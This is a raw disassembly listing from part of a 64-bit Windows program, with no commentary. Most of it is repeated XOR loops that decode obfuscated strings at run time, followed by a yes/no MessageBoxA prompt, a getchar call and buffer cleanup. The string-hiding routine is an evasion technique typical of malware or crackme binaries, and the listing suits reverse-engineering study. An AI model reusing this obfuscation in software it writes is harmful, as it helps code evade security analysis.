punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x30
jl 0x14001f660
cmp r8d, 0x36
jge 0x14001f7a3
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x36
jl 0x14001f770
movups xmm0, xmmword [str.T_UIR]
movups xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x140030b60]
movups xmm1, xmmword [0x140030b50]
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x140030b80]
movups xmm1, xmmword [0x140030b70]
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x80], xmm1
mov eax, dword [0x140030ba8]
movsd xmm0, qword [0x140030ba0]
movups xmm1, xmmword [0x140030b90]
mov dword [rbp - 0x48], eax
movsd qword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x60], xmm1
mov r8d, edi
cmp r15d, 2
jl 0x14001f918
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rsp + 0x50]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x68
jl 0x14001f820
cmp r8d, 0x6c
jge 0x14001f963
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x6c
jl 0x14001f930
mov r9d, 0x11114
lea r8, [rbp + 0x80]
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edx, edx
cmp eax, 6
jne 0x1400212a6
mov r8d, 0x338
lea rcx, [rbp + 0x290]
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x290]
lea rcx, [rbp + 0x5d0]
mov edx, 5
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14001f9b0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x580], xmm1
mov qword [rbp + 0x590], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x5b0], xmm0
mov qword [rbp + 0x5c0], rdi
mov dword [rbp + 0xd0], edi
movups xmm4, xmmword [str.BKPRLZ2o__E]
movups xmmword [rbp + 0xd8], xmm4
movq xmm5, qword [0x140029e50]
movq qword [rbp + 0xe8], xmm5
movzx eax, word [0x140029e58]
mov word [rbp + 0xf0], ax
mov r8d, edi
cmp r15d, 2
jl 0x14001fbe5
movdqa xmm3, xmmword [0x140030d80]
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm7
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm3
movq xmm1, xmm4
xorps xmm2, xmm1
movq qword [rbp + 0xd8], xmm2
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm3
movq xmm0, qword [rbp + 0xe0]
xorps xmm2, xmm0
movq qword [rbp + 0xe0], xmm2
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm13
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm3
movq xmm0, xmm5
xorps xmm2, xmm0
movq qword [rbp + 0xe8], xmm2
mov r8d, 0xc
mov eax, r8d
lea r9, [rbp + 0xd8]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x14001fc00
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x80]
call fcn.140021c70
lea r8, [rbp + 0xd0]
mov rdx, rax
call fcn.140004860
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1b0], xmm0
movups xmmword [rbp + 0x1c0], xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], rax
mov r8d, dword [rbp + 0xd0]
lea rdx, [rbp + 0x5d0]
lea rcx, [rbp + 0x1b0]
call fcn.140024460
nop
movups xmm0, xmmword [str.PTHYOJV.b3__r_h___m___ez_V]
movups xmmword [rbp + 0xd8], xmm0
movsd xmm0, qword [0x140029f20]
movsd qword [rbp + 0xe8], xmm0
mov eax, dword [0x140029f28]
mov dword [rbp + 0xf0], eax
movzx eax, word [0x140029f2c]
mov word [rbp + 0xf4], ax
cmp byte [0x140029f2d], 0
je 0x14001fe43
mov r8d, edi
cmp r15d, 2
jl 0x14001fdf8
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0xd8]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x18
jl 0x14001fd00
cmp r8d, 0x1e
jge 0x14001fe43
movsxd rax, r8d
lea r9, [rbp + 0xd8]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x14001fe10
lea rcx, [rbp + 0xd8]
call fcn.1400021c0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x128], xmm1
mov qword [rbp + 0x138], rdi
movsd xmm0, qword [str.PTOYOP_o__E]
movsd qword [rbp + 0x50], xmm0
mov ecx, dword [0x14002a1a8]
mov dword [rbp + 0x58], ecx
movzx eax, byte [0x14002a1ac]
mov byte [rbp + 0x5c], al
mov r8d, edi
cmp r15d, 2
jl 0x14001ffd0
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.PTOYOP_o__E]
xorps xmm1, xmm0
movd dword [rbp + 0x50], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x54]
xorps xmm2, xmm1
movd dword [rbp + 0x54], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x58], xmm2
mov r8d, 0xc
mov eax, r8d
lea r9, [rbp + 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14001ffe0
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
mov qword [rbp + 0x230], rdi
mov qword [rbp + 0x238], rdi
lea rcx, [rbp + 0x50]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140020036
mov r8, rax
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x220]
call fcn.140003400
nop
lea r8, [rbp + 0x128]
lea rdx, [rbp + 0x220]
call fcn.14000db40
nop
mov rdx, qword [rbp + 0x238]
cmp rdx, 0xf
jbe 0x1400200ab
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400200a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400200a6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140025c94
movups xmm2, xmmword [0x140029ea0]
movups xmmword [rbp + 0x60], xmm2
mov edx, dword [0x140029eb0]
mov dword [rbp + 0x70], edx
movzx eax, byte [0x140029eb4]
mov byte [rbp + 0x74], al
mov r8d, edi
cmp r15d, 2
jl 0x1400202ea
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm10
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x60], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x64]
xorps xmm2, xmm1
movd dword [rbp + 0x64], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x68]
xorps xmm2, xmm1
movd dword [rbp + 0x68], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6c]
xorps xmm2, xmm1
movd dword [rbp + 0x6c], xmm2
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm14
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm14
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x70], xmm2
mov r8d, 0x14
mov eax, r8d
lea r9, [rbp + 0x60]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140020300
mov rdx, qword [rbp + 0x128]
lea rcx, [rbp + 0x60]
call fcn.1400021c0
mov qword [rbp + 0x110], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xd8], xmm0
mov qword [rbp + 0xe8], rdi
mov rdx, qword [rbp + 0x130]
sub rdx, qword [rbp + 0x128]
je 0x1400203c0
movabs rax, 0x7fffffffffffffff
cmp rdx, rax
ja 0x14002181d
lea rcx, [rbp + 0xd8]
call fcn.140013fd0
mov rsi, qword [rbp + 0xd8]
mov rbx, qword [rbp + 0x128]
mov r13, qword [rbp + 0x130]
mov r8, r13
sub r8, rbx
mov rdx, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
sub r13, rbx
add r13, rsi
mov qword [rbp + 0xe0], r13
jmp 0x1400203c7
mov r13, qword [rbp + 0xe0]
lea rax, [rbp + 0xd8]
mov qword [rbp + 0x50], rax
mov rdx, qword [rbp + 0xd8]
sub r13, rdx
mov r8, r13
lea rcx, [rbp + 0x5b0]
call fcn.140013c00
nop
mov rcx, qword [rbp + 0xd8]
test rcx, rcx
je 0x14002042f
mov rdx, qword [rbp + 0xe8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002042a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002042a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140025c94
movups xmm0, xmmword [rbp + 0x1b0]
movaps xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rbp + 0x1c0]
movaps xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [rbp + 0x1d0]
movaps xmmword [rbp + 0xa0], xmm0
movsd xmm1, qword [rbp + 0x1e0]
movsd qword [rbp + 0xb0], xmm1
lea r8, [rbp + 0x110]
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x290]
call fcn.14000e6a0
test al, al
jne 0x140020893
movups xmm0, xmmword [0x140029a90]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140029aa0]
movups xmmword [rbp + 0x90], xmm1
movzx eax, byte [0x140029ab0]
mov byte [rbp + 0xa0], al
mov r8d, edi
cmp r15d, 2
jl 0x1400205c8
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x80]
mov edx, dword [rbp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
lea r14d, [r14 + 8]
cmp r8d, 0x20
jl 0x1400204d1
cmp r8d, 0x21
jge 0x140020613
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x1400205e0
lea rcx, [rbp + 0x80]
call fcn.1400021c0
xor eax, eax
xorps xmm1, xmm1
mov qword [rbp - 0x40], rax
movups xmmword [rsp + 0x50], xmm1
mov eax, dword [rbp + 0x5e0]
mov dword [rsp + 0x54], eax
mov word [rsp + 0x50], 1
mov byte [rsp + 0x52], 0x11
mov rax, qword [rbp + 0x5d0]
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax + 0x20], xmm1
movups xmmword [rax + 0x30], xmm1
movups xmmword [rax + 0x40], xmm1
movups xmmword [rax + 0x50], xmm1
movups xmmword [rax + 0x60], xmm1
movsd xmm0, qword [rbp - 0x40]
movsd qword [rax + 0x70], xmm0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov ebx, eax
mov rcx, qword [rbp + 0x128]
test rcx, rcx
je 0x1400206ce
mov rdx, qword [rbp + 0x138]
sub rdx, rcx
cmp rdx, 0x1000
mov rax, rcx
jb 0x1400206b7
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400210c3
call fcn.140025c94
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x128], xmm0
mov qword [rbp + 0x138], rdi
lea r8, [rbp + 0x1c0]
mov rdx, qword [rbp + 0x1b8]
lea rcx, [rbp + 0x1b0]
call fcn.140024920
lea r8, [rbp + 0x1d0]
mov rdx, qword [rbp + 0x1c8]
lea rcx, [rbp + 0x1b0]
call fcn.140024920
nop
mov rcx, qword [rbp + 0x5b0]
test rcx, rcx
je 0x140020755
mov rdx, qword [rbp + 0x5c0]
sub rdx, rcx
cmp rdx, 0x1000
mov rax, rcx
jb 0x14002073e
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002119b
call fcn.140025c94
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x5b0], xmm0
mov qword [rbp + 0x5c0], rdi
mov rcx, qword [rbp + 0x580]
test rcx, rcx
je 0x1400207a7
mov rdx, qword [rbp + 0x590]
sub rdx, rcx
cmp rdx, 0x1000
mov rax, rcx
jb 0x140020790
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002119b
call fcn.140025c94
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x580], xmm0
mov qword [rbp + 0x590], rdi
mov rcx, qword [rbp + 0x158]
test rcx, rcx
je 0x1400207f9
mov rdx, qword [rbp + 0x168]
sub rdx, rcx
cmp rdx, 0x1000
mov rax, rcx
jb 0x1400207e2
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002123e
call fcn.140025c94
xorps xmm0, xmm0
mov qword [rbp + 0x158], rdi
movdqu xmmword [rbp + 0x160], xmm0
mov rcx, qword [rbp + 0x140]
test rcx, rcx
je 0x14002084b
mov rdx, qword [rbp + 0x150]
sub rdx, rcx
cmp rdx, 0x1000
mov rax, rcx
jb 0x140020834
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002123e
call fcn.140025c94
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], rdi
mov rcx, qword [rbp + 0x190]
test rcx, rcx
je 0x14001a72b
mov rdx, qword [rbp + 0x1a0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a726
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002129f
jmp 0x14001a726
movups xmm2, xmmword [str.K_ZXD]
movups xmmword [rbp + 0x60], xmm2
mov edx, dword [0x140030b38]
mov dword [rbp + 0x70], edx
movzx eax, word [0x140030b3c]
mov word [rbp + 0x74], ax
cmp byte [0x140030b3d], 0
je 0x140020b23
mov r8d, edi
cmp r15d, 2
jl 0x140020ae0
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm10
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x60], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x64]
xorps xmm2, xmm1
movd dword [rbp + 0x64], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
